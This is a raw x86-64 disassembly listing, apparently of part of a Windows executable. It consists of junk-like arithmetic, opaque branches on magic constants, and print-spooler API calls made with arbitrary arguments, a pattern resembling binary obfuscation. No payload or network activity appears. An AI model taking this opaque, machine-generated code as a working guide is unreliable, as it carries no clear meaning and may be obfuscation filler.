mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov dword [rsp + 0x152c], eax
mov rax, qword [rsp + 0x2928]
mov ecx, dword [rsp + 0x143c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2808], rax
mov rax, qword [rsp + 0x28f0]
mov rcx, qword [rsp + 0x28b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2800], rax
movzx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2948]
mov word [rcx], ax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
and eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2980]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
sar eax, cl
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xa8]
xor eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x25f0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2808], rax
mov rax, qword [rsp + 0x2838]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2928]
mov qword [rsp + 0x29b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x29b0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2800]
mov rcx, qword [rsp + 0x28b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x24e0], rax
mov rax, qword [rsp + 0x2918]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1510]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x14d8], eax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1488]
mov ecx, dword [rsp + 0x1460]
sub ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c0]
add eax, ecx
mov rcx, qword [rsp + 0x2948]
mov word [rcx], ax
mov eax, dword [rsp + 0x14e0]
mov ecx, dword [rsp + 0x143c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x27a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x28e8]
mov rcx, qword [rsp + 0x2918]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1488], eax
mov rax, qword [rsp + 0x24e0]
mov rcx, qword [rsp + 0x2840]
mov qword [rsp + 0x29b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x29b8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2970]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xaa], al
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xab]
or eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
jmp 0x1400065e7
movzx eax, word [rsp + 0x404]
movzx ecx, word [rsp + 0x5c4]
sar eax, cl
mov rcx, qword [rsp + 0x2978]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x2948]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
je 0x140006a74
mov rax, qword [rsp + 0x2948]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2978]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
jmp 0x140006bbb
mov eax, dword [rsp + 0x14e0]
mov dword [rsp + 0x1530], eax
cmp dword [rsp + 0x1530], 0
je 0x140006a91
jmp 0x140006b5d
mov rax, qword [rsp + 0x24e0]
mov qword [rsp + 0x29c0], rax
movabs rax, 0xd9cdfdec021c1ec
cmp qword [rsp + 0x29c0], rax
je 0x140006ace
movabs rax, 0x6b89413805eac7e1
cmp qword [rsp + 0x29c0], rax
je 0x140006b3a
jmp 0x140006b5b
movzx eax, word [rsp + 0x5c0]
mov word [0x1400b9e14], ax
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x29c8], rax
movsx eax, word [rsp + 0x5cc]
movsx ecx, word [rsp + 0x5bc]
add eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov dword [rsp + 0x1534], 0x8020
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
jmp 0x140006b5b
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x27a8], rax
jmp 0x140006b6e
mov rax, qword [rsp + 0x28c0]
movzx ecx, byte [rax]
call fcn.14009fbf0
nop
mov dword [rsp + 0x1538], 0x34e4
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov dword [rsp + 0x153c], eax
mov rax, qword [rsp + 0x2930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2800], rax
lea rax, [rsp + 0x143c]
mov qword [rsp + 0x29d0], rax
movzx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2948]
mov word [rcx], ax
movzx eax, word [rsp + 0x404]
mov dword [rsp + 0x1540], eax
cmp dword [rsp + 0x1540], 0xeb1
je 0x140006bf9
jmp 0x140006c1d
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
jmp 0x140006cb8
mov rax, qword [rsp + 0x2918]
mov ecx, dword [rsp + 0x1460]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x1488]
mov edx, dword [section..data]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x140006cb8
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xaa], al
lea rax, [rsp + 0x28c0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x98
lea rax, [rsp + 0x27d8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x28d0]
mov r8, qword [rsp + 0x2880]
mov rdx, qword [rsp + 0x2880]
mov rcx, qword [rsp + 0x2858]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x1544], eax
call fcn.14009fa10
nop
mov dword [rsp + 0x1548], 0x48ce
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x29d8], rax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
and eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0xaa]
add ecx, edx
cmp eax, ecx
jl 0x14009f3e0
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
mov byte [rsp + 0x154c], al
cmp byte [rsp + 0x154c], 0
je 0x140006e6b
cmp byte [rsp + 0x154c], 0x50
je 0x140006d57
jmp 0x14009f31d
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
movzx ecx, byte [rsp + 0xa9]
mov rdx, qword [rsp + 0x28c0]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x140006db1
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x27e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
call fcn.14009fa10
nop
jmp 0x140006e66
mov rax, qword [rsp + 0x28e8]
mov rcx, qword [rsp + 0x2918]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x1510]
mov edx, dword [rsp + 0x152c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x140006e66
lea rax, [rsp + 0x28c0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1518]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x97
lea rax, [rsp + 0xa9]
mov qword [rsp + 0x20], rax
mov r9d, 0xd6
mov r8d, 0x47
mov edx, 0xe
mov rcx, qword [rsp + 0x2868]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x1550], eax
mov rax, qword [rsp + 0x2838]
mov rcx, qword [rsp + 0x2928]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2918]
mov eax, dword [rax]
mov dword [rsp + 0x1510], eax
jmp 0x14009f31d
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x24e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2970]
mov qword [rcx], rax
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x29e0], rax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xa9]
sar eax, cl
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5bc], ax
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
shl eax, cl
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
xor eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1488]
mov ecx, dword [rsp + 0x1510]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2838]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x14e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x29d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28b8]
mov rcx, qword [rsp + 0x28f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x2848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2808]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x25f0], rax
movsx eax, byte [0x1400b9e10]
mov rcx, qword [rsp + 0x29c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
movsx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
and eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x29e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x404]
sub eax, ecx
mov rcx, qword [rsp + 0x2948]
mov word [rcx], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
sub eax, ecx
mov byte [rsp + 0xa8], al
mov eax, dword [rsp + 0x153c]
mov ecx, dword [rsp + 0x1460]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1488], eax
mov rax, qword [rsp + 0x28b8]
mov rcx, qword [rsp + 0x2930]
mov qword [rsp + 0x29e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x29e8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x24e0], rax
mov rax, qword [rsp + 0x27a8]
movzx ecx, al
mov rax, qword [rsp + 0x25f0]
shr rax, cl
mov qword [rsp + 0x2808], rax
mov rax, qword [rsp + 0x29d0]
mov ecx, dword [rsp + 0x14e0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x142c], eax
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5bc]
xor eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x2978]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2948]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1400b9e14], ax
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
add eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x14dc]
add eax, 0x7a
mov dword [rsp + 0x14dc], eax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov word [rsp + 0x5b8], ax
mov rax, qword [rsp + 0x28b8]
mov rcx, qword [rsp + 0x24e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2930]
mov qword [rcx], rax
mov eax, dword [rsp + 0x14e0]
mov ecx, dword [rsp + 0x142c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1510]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x152c], eax
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x25f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c4]
sub eax, ecx
mov rcx, qword [rsp + 0x29e0]
mov word [rcx], ax
movzx eax, word [rsp + 0x5c8]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xa8]
xor eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x1460]
mov ecx, dword [rsp + 0x152c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28b0]
mov rcx, qword [rsp + 0x2838]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x28b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x27e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x2970]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2800]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2930]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [0x1400b9e10]
sub eax, ecx
mov byte [rsp + 0xaa], al
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5bc]
add eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x29d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c8]
sub eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x28d0]
mov ecx, dword [rsp + 0x14d8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1488], eax
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x27a8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2970]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2930]
mov qword [rsp + 0x29f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x29f0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x29d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2878]
mov qword [rsp + 0x29f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x29f8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x2928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [0x1400b9e10]
or eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c0]
sub eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5bc]
add eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
and eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [0x1400b9e10]
sub eax, ecx
mov byte [rsp + 0xaa], al
cmp dword [rsp + 0x14dc], 0x109a3
jb 0x140006e9c
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov rdx, qword [rsp + 0x27a8]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
je 0x140007502
movzx ecx, byte [rsp + 0xa8]
call fcn.1400a0b80
nop
movsx eax, word [rsp + 0x5cc]
mov dword [rsp + 0x1554], eax
cmp dword [rsp + 0x1554], 0
je 0x140007648
cmp dword [rsp + 0x1554], 0x4717
je 0x140007531
jmp 0x14009f263
mov rax, qword [rsp + 0x2878]
mov ecx, dword [rsp + 0x142c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x28b0]
mov edx, dword [rsp + 0x143c]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jl 0x1400075d3
mov dword [rsp + 0x20], 0xd6
lea r9, [rsp + 0xebe0]
mov r8d, 0x17
mov rdx, qword [rsp + 0x2a00]
mov rcx, qword [rsp + 0x2850]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x1558], eax
mov rax, qword [rsp + 0x2848]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2808]
shr rax, cl
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
jmp 0x140007643
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x29c8]
movsx ecx, byte [rcx]
movsx edx, byte [0x1400b9e10]
xor ecx, edx
cmp eax, ecx
jne 0x140007643
mov r8, qword [rsp + 0x2a08]
mov rdx, qword [rsp + 0x2a10]
mov rcx, qword [rsp + 0x2a00]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x146c], eax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
and eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
jmp 0x14009f263
mov rax, qword [rsp + 0x24e0]
mov rcx, qword [rsp + 0x28f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2800]
mov rdx, qword [rsp + 0x28b8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14000781e
movzx eax, byte [rsp + 0xaa]
mov byte [rsp + 0x155c], al
cmp byte [rsp + 0x155c], 0x61
je 0x14000769b
jmp 0x1400077ce
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1400b9e10], al
lea rax, [rsp + 0x2978]
mov qword [rsp + 0x20], rax
mov r9d, 0x86
mov r8, qword [rsp + 0x2a18]
mov rdx, qword [rsp + 0x2a00]
mov rcx, qword [rsp + 0x2988]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x153c], eax
movsx eax, word [rsp + 0x5cc]
mov dword [rsp + 0x1560], eax
cmp dword [rsp + 0x1560], 0x32c0
je 0x1400077b2
cmp dword [rsp + 0x1560], 0x6a12
je 0x14000771f
jmp 0x1400077cc
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movzx eax, word [0x1400b9e14]
mov rcx, qword [rsp + 0x2948]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5d0], ax
lea rax, [rsp + 0x2a20]
mov qword [rsp + 0x20], rax
mov r9d, 0x27
mov r8, qword [rsp + 0x2a18]
mov rdx, qword [rsp + 0x2a08]
mov rcx, qword [rsp + 0x2988]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x1564], eax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x2808]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
jmp 0x1400077cc
mov rax, qword [rsp + 0x28b0]
mov ecx, dword [rsp + 0x14e0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x142c], eax
jmp 0x140007819
mov eax, dword [rsp + 0x14d8]
mov dword [rsp + 0x1544], eax
mov dword [rsp + 0x1568], 0x8f0a
mov rax, qword [rsp + 0x2930]
mov rax, qword [rax]
mov qword [rsp + 0x2a28], rax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
or eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
jmp 0x1400078f0
mov rax, qword [rsp + 0x2978]
movzx eax, word [rax]
mov dword [rsp + 0x156c], eax
cmp dword [rsp + 0x156c], 0xf74
je 0x14000783f
jmp 0x140007872
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x29e0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
movzx ecx, byte [rsp + 0xa8]
call fcn.14009fbf0
nop
jmp 0x1400078f0
lea rax, [rsp + 0x2870]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2d
lea r9, [rsp + 0x143c]
mov r8d, 0x23
mov rdx, qword [rsp + 0x2a18]
mov rcx, qword [rsp + 0x2a30]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x1420], eax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sar eax, cl
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [rsp + 0x5d0]
and eax, ecx
mov word [rsp + 0x5c4], ax
call fcn.14009fa10
nop
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2980]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5b8], ax
mov rax, qword [rsp + 0x2838]
mov eax, dword [rax]
mov dword [rsp + 0x1570], eax
cmp dword [rsp + 0x1570], 0
je 0x14000793a
cmp dword [rsp + 0x1570], 0x38d6a0a4
je 0x14000798e
jmp 0x140007b2f
lea rax, [rsp + 0x1460]
mov qword [rsp + 0x2a38], rax
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
lea rax, [rsp + 0x142c]
mov qword [rsp + 0x2a40], rax
mov dword [rsp + 0x1574], 0xbfa0
jmp 0x140007b2f
movzx eax, word [rsp + 0x404]
mov dword [rsp + 0x1578], eax
cmp dword [rsp + 0x1578], 0x502
je 0x1400079af
jmp 0x140007b21
mov rax, qword [rsp + 0x2a40]
mov rcx, qword [rsp + 0x29d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2878]
mov rdx, qword [rsp + 0x2838]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
je 0x140007ac8
mov rax, qword [rsp + 0x2a28]
mov rcx, qword [rsp + 0x24e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2970]
mov qword [rcx], rax
movsx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x2980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5bc], ax
mov edx, 0xfe
mov rcx, qword [rsp + 0x2a48]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x2988], rax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x7f
lea r9, [rsp + 0x404]
mov r8d, 0xbc
lea rdx, [rsp + 0x2a08]
mov rcx, qword [rsp + 0x2a50]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x14b0], eax
mov rax, qword [rsp + 0x2948]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x29d8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1400b9e14], ax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
shl eax, cl
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
jmp 0x140007b1f
mov rax, qword [rsp + 0x28e8]
mov ecx, dword [rsp + 0x1558]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [section..data]
mov edx, dword [rsp + 0x153c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140007b1f
mov dword [rsp + 0x20], 0xaa
lea r9, [rsp + 0x28d0]
mov r8d, 0x92
mov edx, 0xab
mov rcx, qword [rsp + 0x2a50]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x14b8], eax
jmp 0x140007b2f
movzx ecx, byte [rsp + 0xab]
call fcn.14009fbf0
nop
mov dword [rsp + 0x157c], 0x740b
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x2a58], rax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [0x1400b9010]
xor eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x2930]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2a28]
sar rax, cl
mov qword [rsp + 0x2800], rax
mov eax, dword [rsp + 0x153c]
mov ecx, dword [rsp + 0x1488]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x2808]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2a40]
mov eax, dword [rax]
